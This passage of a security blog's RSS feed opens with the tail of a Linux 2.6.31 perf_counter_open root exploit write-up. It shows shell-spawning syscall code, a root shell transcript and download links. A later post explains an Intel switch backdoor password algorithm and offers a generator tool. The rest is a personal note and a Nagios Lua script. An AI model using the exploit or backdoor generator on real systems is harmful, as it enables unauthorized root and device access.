&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kr"&gt;inline&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;spawn_shell&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Starting shell&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/bin/sh&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

        &lt;span class="n"&gt;my_syscall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SYS_write&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mystrlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;my_syscall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SYS_execve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;my_syscall&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;my_syscall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;nb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;__asm__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %1, %%eax ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %2, %%ebx ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %3, %%ecx ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %4, %%edx ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %5, %%esi ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %6, %%edi ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;int $0x80 ;&amp;quot;&lt;/span&gt;
        &lt;span class="s"&gt;&amp;quot;mov %%eax, %0 ;&amp;quot;&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;=r&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nb&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="and-we-are-done"&gt;
&lt;h2&gt;And we are done !&lt;/h2&gt;
&lt;p&gt;You should now have a root shell :)
This is the result on a ubuntu jaunty host with a 2.6.31 kernel (from ubuntu repositories):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;xipe@tomate:~/exploit$&lt;/span&gt;
&lt;span class="gp"&gt;xipe@tomate:~/exploit$&lt;/span&gt; id
&lt;span class="go"&gt;uid=1000(xipe) gid=1000(xipe) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)&lt;/span&gt;
&lt;span class="gp"&gt;xipe@tomate:~/exploit$&lt;/span&gt; ./sys_perf_counter_open_sploit
&lt;span class="go"&gt;Starting shell&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt; id
&lt;span class="go"&gt;uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt; uname -a
&lt;span class="go"&gt;Linux tomate 2.6.31-10-generic #34-Ubuntu SMP Wed Sep 16 00:23:19 UTC 2009 i686 GNU/Linux&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="exploit-code"&gt;
&lt;h2&gt;Exploit code&lt;/h2&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;The exploit code and binary can be found here:&lt;/dt&gt;
&lt;dd&gt;&lt;div class="first last line-block"&gt;
&lt;div class="line"&gt;Download &lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2009/09/sys_perf_counter_open_sploit.c"&gt;source&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;Download &lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2009/09/sys_perf_counter_open_sploit.gz"&gt;binary&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;That's all folks ! Have fun !&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Thu, 24 Sep 2009 16:07:00 +0200</pubDate><guid>http://redstck.net/blog//linux-kernel-2631-perf_counter_open-exploit.html</guid></item><item><title>Welcome to Denmark !</title><link>http://redstck.net/blog//welcome-to-denmark.html</link><description>&lt;p&gt;For the ones who were wondering, this blog is not dead, I just had some
changes in my life ...&lt;/p&gt;
&lt;p&gt;After traveling a month in China, I moved to Copenhagen ... And I am
still unpacking all my stuff and wondering how I will be able to put
everything in our new apartment located somewhere around &lt;a class="reference external" href="http://maps.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=Duevej,+2000+Frederiksberg,+Denmark&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=52.902929,113.994141&amp;amp;ie=UTF8&amp;amp;z=16&amp;amp;iwloc=A"&gt;here&lt;/a&gt; :)&lt;/p&gt;
&lt;p&gt;Also, I am half French, half Italian, and as neither of this 2
countries are known to have aptitudes in learning new languages, it will
certainly take a little while for me to learn Danish. (I already started
but without a lot of success) ...&lt;/p&gt;
&lt;p&gt;So here I am ... I will be looking for a job in Copenhagen during next
weeks, and trying to find a good security related subject to blog about ...&lt;/p&gt;
&lt;p&gt;Perhaps another article on Metasploit or something about Symbian
phones' security ... I still don't know ...&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Sat, 29 Aug 2009 10:49:00 +0200</pubDate><guid>http://redstck.net/blog//welcome-to-denmark.html</guid></item><item><title>Intel(r) switches backdoor</title><link>http://redstck.net/blog//intelr-switches-backdoor.html</link><description>&lt;p&gt;I recently got an Intel(r) Express 530T switch from eBay. It's a
&amp;quot;Manageable&amp;quot; switch, this means that you can connect to the switch
through a null modem cable, telnet or a web interface to modify the
switch configuration (Change MAC address filtering, create/delete VLANs,
change ports speeds an priority, ...).&lt;/p&gt;
&lt;p&gt;But when I tried to connect to the switch, I discovered that the switch
hadn't been reseted, and that the seller didn't gave me the username and
password needed to manage the switch.&lt;/p&gt;
&lt;p&gt;After trying to find any reset button around, under, and even inside
the switch, I sent a mail to the seller and contacted the Intel support.&lt;/p&gt;
&lt;p&gt;As the seller wasn't responding and the Intel support wasn't able to
give me a reset procedure, I crawled the web, and managed to find a
little Intel(r) utility &amp;quot;that does not exists&amp;quot;, according to the russian
website that was distributing it (sorry, I can't remember the address).&lt;/p&gt;
&lt;p&gt;This utility compute a backdoor password depending of your switch's MAC
address.&lt;/p&gt;
&lt;p&gt;The documentation that can be found with this Intel(r) utility, says
that it works with :&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Intel(R) Express 330T Hub with Management Module&lt;/li&gt;
&lt;li&gt;Intel(R) NetStructure(TM) 470T/470F Switches&lt;/li&gt;
&lt;li&gt;Intel(R) Express 460T Standalone Switch&lt;/li&gt;
&lt;li&gt;Intel(R) Express 530T/535T Stackable Switches&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;It also says that you must let the usename blank, and just enter the
password and that the backdoor password only works from the management
port on the switch (It will not work through telnet nor the web
interface).&lt;/p&gt;
&lt;p&gt;So, after getting a password for my switch, I started to look at the
password generation algorithm.&lt;/p&gt;
&lt;p&gt;Here is the code of the password generation function :&lt;/p&gt;
&lt;p&gt;&lt;img alt="Intel(r) Backdoor password generation function" src="http://redstack.net/blog/wp-content/uploads/2008/05/backdoor-asm.gif" /&gt;&lt;/p&gt;
&lt;p&gt;After reading this code, I managed to draw this little diagram of the generation algorithm:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(Saying M1 to M6 are the 6 MAC address bytes; xor is an exclusive or between two bytes; ! is a bit swapping of all bits eg: all 0s become 1s and all 1s become 0s; shl1 is a left shift of 1 bit; shr7 is a right shift of 7 bits)&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/intel-backdoor-algo-img1.png"&gt;&lt;img alt="image2" src="http://redstack.net/blog/wp-content/uploads/2008/05/intel-backdoor-algo-img1.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After running this transformations two times on the buffer originally
containing the switch MAC address, the password is the hexadecimal
representation of M4,M5,M6.&lt;/p&gt;
&lt;p&gt;Thus, for example, if M4=0xA0, M5=0×55 and M6= 0xEF, the password will be : A055EF.&lt;/p&gt;
&lt;blockquote&gt;
Note: letters are always in uppercase.&lt;/blockquote&gt;
&lt;p&gt;Here you can find an implementation of this algorithm :&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/intel_backdoor.c"&gt;intel_backdoor.c (C source code)&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/intel_backdoor.gz"&gt;intel_backdoor.gz (Linux x86 binary)&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/intel_backdoor.exe"&gt;intel_backdoor.exe(Windows binary)&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;Just for fun : a &lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/demo.gif"&gt;demo&lt;/a&gt; :)&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;I hope you enjoyed this post as much as I enjoyed writing it ;)&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Mon, 19 May 2008 21:48:00 +0200</pubDate><guid>http://redstck.net/blog//intelr-switches-backdoor.html</guid></item><item><title>Nagios status report in Ion3 statusbar</title><link>http://redstck.net/blog//nagios-status-report-in-ion3-statusbar.html</link><description>&lt;p&gt;Here is a little script that permits to report one or more nagios
servers status in the ion3 status bar:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;statusd_nginfo.lua&lt;/strong&gt; (&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/statusd_nginfo.lua"&gt;Download nginfo.lua&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- statusd_nginfo.lua&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Made by Raffaello Pelagalli&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Started on  Sun Mar  9 00:22:31 2008 Raffaello Pelagalli&lt;/span&gt;
&lt;span class="c1"&gt;-- Last update Thu May  8 23:29:32 2008 Raffaello Pelagalli&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- This library is free software; you can redistribute it and/or&lt;/span&gt;
&lt;span class="c1"&gt;-- modify it under the terms of the GNU Lesser General Public&lt;/span&gt;
&lt;span class="c1"&gt;-- License as published by the Free Software Foundation; either&lt;/span&gt;
&lt;span class="c1"&gt;-- version 2.1 of the License, or (at your option) any later version.&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- This library is distributed in the hope that it will be useful,&lt;/span&gt;
&lt;span class="c1"&gt;-- but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;
&lt;span class="c1"&gt;-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU&lt;/span&gt;
&lt;span class="c1"&gt;-- Lesser General Public License for more details.&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- You should have received a copy of the GNU Lesser General Public&lt;/span&gt;
&lt;span class="c1"&gt;-- License along with this library; if not, write to the Free Software&lt;/span&gt;
&lt;span class="c1"&gt;-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA&lt;/span&gt;
&lt;span class="c1"&gt;-- 02111-1307  USA&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- Nagios checking script&lt;/span&gt;
&lt;span class="c1"&gt;-- Reports nagios status in ion status bar&lt;/span&gt;
&lt;span class="c1"&gt;-- Sample configuration:&lt;/span&gt;
&lt;span class="c1"&gt;-- mod_statusbar.launch_statusd{&lt;/span&gt;
&lt;span class="c1"&gt;--    ...&lt;/span&gt;
&lt;span class="c1"&gt;--    nginfo = {&lt;/span&gt;
&lt;span class="c1"&gt;--       urls = {&lt;/span&gt;
&lt;span class="c1"&gt;--          &amp;quot;http://user1:password1@server1.domain1.tld/cgi-bin/nagios2/nginfo.pl&amp;quot;,&lt;/span&gt;
&lt;span class="c1"&gt;--          &amp;quot;http://user2:password2@server2.domain2.tld/nagios/cgi-bin/nginfo.pl&amp;quot;,&lt;/span&gt;
&lt;span class="c1"&gt;--       },&lt;/span&gt;
&lt;span class="c1"&gt;--    }&lt;/span&gt;
&lt;span class="c1"&gt;--    ...&lt;/span&gt;
&lt;span class="c1"&gt;-- }&lt;/span&gt;
&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Need to be used with nginfo.pl script from&lt;/span&gt;
&lt;span class="c1"&gt;-- http://redstack.net/blog/index.php/2008/05/08/nagios-status-report-in-ion3-statusbar.html&lt;/span&gt;

&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;lxp&amp;quot;&lt;/span&gt;
&lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;ng_timer&lt;/span&gt;
&lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="nb"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;

&lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;defaults&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;update_interval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="n"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statusd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;nginfo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;nginfo_callbacks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;StartElement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;current_state&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
                        &lt;span class="n"&gt;nginfo_callbacks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CharacterData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                                                            &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                                                               &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                                                         &lt;span class="k"&gt;end&lt;/span&gt;
                     &lt;span class="k"&gt;end&lt;/span&gt;
                  &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="n"&gt;EndElement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;current_state&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
                      &lt;span class="n"&gt;nginfo_callbacks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CharacterData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
                   &lt;span class="k"&gt;end&lt;/span&gt;
                &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="n"&gt;CharacterData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lxp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nginfo_callbacks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;get_nginfo&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="nb"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
   &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;socket.http&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
